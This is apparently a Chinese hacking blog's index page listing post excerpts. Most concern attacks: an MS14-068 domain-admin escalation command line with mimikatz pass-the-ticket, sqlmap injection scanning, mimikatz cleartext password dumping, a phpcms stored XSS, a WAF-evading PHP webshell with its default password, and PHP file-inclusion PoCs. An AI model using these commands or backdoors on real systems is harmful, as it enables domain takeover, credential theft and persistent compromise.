2016年4月12日
[提权]域内提权神器 MS14-068 完整EXP
摘要： 可以让任何域内用户提升为域管理员 c:\python27\python.exe ms14-068.py -u k8test3@k8.local -p k8team!@# -s S-1-5-21-4191298166-3247023184-3514116461-1110 -d K8DNS.k8.localmimikatz.exe "kerberos::ptc TGT_k8test3@k8.... 阅读全文
posted @ 2016-04-12 15:05 h4ck0ne 阅读(2717) 评论(0) 推荐(0) 编辑
burpsuite联合sqlmap扫描注入点
摘要： 其实我们在众测的时候完全可以使用burpsuite联合sqlmap测试目标的注入漏洞。对get和post型注入都支持。 先来记录proxy的log ， 记住路径 把proxy拦截关掉 接下来浏览器配置代理，对目标站点一通请求，我一般都找页面比较偏僻的小功能 sqlmap对log一通测试 python sqlmap.py -l c:\log... 阅读全文
posted @ 2016-04-12 14:32 h4ck0ne 阅读(3658) 评论(0) 推荐(0) 编辑
windows 2012 抓明文密码方法
摘要： windows 2012 抓明文密码方法 默认配置是抓不到明文密码了，神器mimikatz显示Password为null Authentication Id : 0 ; 121279 (00000000:0001d9bf) Session : ... 阅读全文
posted @ 2016-04-12 14:31 h4ck0ne 阅读(3868) 评论(0) 推荐(0) 编辑
2016年1月24日
一个U盘黑掉你：TEENSY实战(test)
摘要： 挖掘过程一: 自从上一次投稿，已经好久好久没写文章了。今天就着吃饭的时间，写篇文章，记录下自己学习xss这么久的心得。在我看来。Xss就是javascript注入，你可以在js语法规定的范畴内做任何事情，js可谓强大，本次结合一次挖掘xss的过程和xss的综合利用来探讨，小菜一枚，希望大牛不吝赐教。文章里的网站打码，大家见谅 我们先看看网站 测试储存型xss的话，黑盒测试效... 阅读全文
posted @ 2016-01-24 09:24 h4ck0ne 阅读(932) 评论(1) 推荐(0) 编辑
phpcms某处储存型XSS（demo+本地演示）
摘要： 详细说明： demo+本地演示存在XSS的地方在商务中心的商家资料的我的资料的Email那里（这句话好绕口。。），属于过滤不严格随便插字符的问题，我直接在Email那里写上"/>可以看到是正确的 然后点击提交可以看到说操作成功 然后来到我们的企业首页查看可以看到成功弹窗 再查看下源代码，可以看到是储存型的 本来想去后台查看的，但是无... 阅读全文
posted @ 2016-01-24 09:18 h4ck0ne 阅读(982) 评论(0) 推荐(0) 编辑
2016年1月23日
绕过安全狗狗的WebShell for PHP
摘要： 最近发现一款过狗shell，分享下。。。 本地搭建2008SERVER+php5+阿帕奇+网站安全狗+服务器安全狗+防护全开 测试可用。。。 默认密码:p0tt1 使用方法: 访问webshell页面，出现404，没关系，按p键，输入密码 或者webshell.php?password=p0tt1自定义密码在 p0tt1为设定的密码,可以自行修改... 阅读全文
posted @ 2016-01-23 21:15 h4ck0ne 阅读(1473) 评论(0) 推荐(0) 编辑
解决ThinkPHP中开启调试模式无法加载模块的问题。
摘要： 刚开始学习ThinkPHP就遇到这种问题，还是自己粗心。 错误如下： 原因：开启调试模式，区分大小写的，要把模块名首字母大写就OK了。也就是： [plain]view plaincopy http://localhost/php/fanhuar/index/index.php/in... 阅读全文
posted @ 2016-01-23 17:50 h4ck0ne 阅读(385) 评论(0) 推荐(0) 编辑
掌握下面常用函数，学php不再难
摘要： 本帖最后由 小项 于 2016-1-21 11:41 编辑一、写入文件1.打开资源（文件）fopen($filename,$mode)2.写文件fwrite($handle,$str)3.关闭文件fclose($handle)4.一步写入file_put_contents($filename,$st... 阅读全文
posted @ 2016-01-23 17:50 h4ck0ne 阅读(219) 评论(0) 推荐(0) 编辑
如何在SAE搭建属于自己的黑盒xss安全测试平台
摘要： Author：雪碧 http://weibo.com/520613815 此篇文章技术含量不高，大牛不喜勿喷，Thx！写这篇文章主要是为了各位小伙伴在SAE搭建XSSING平台的时候少走点弯路（同志们 我先去前面帮你们填好坑 =。=） 引用 XSSING平台开源中国资料： xssing ... 阅读全文
posted @ 2016-01-23 17:50 h4ck0ne 阅读(596) 评论(0) 推荐(0) 编辑
php包含那点事情[WOOYUN]
摘要： 有空就多整理下曾经研究过的知识和需要温顾的知识,明年可能去寻工作络.关于PHP中LFI(Local File Include,本地文件包含)漏洞,大家都很熟悉了;paper很多很多,特别是国外的...不过大家都懒得测试,我就来整理下.1.普通本地包含;poc:http://127.0.0.1:808... 阅读全文
posted @ 2016-01-23 17:50 h4ck0ne 阅读(519) 评论(0) 推荐(0) 编辑
下一页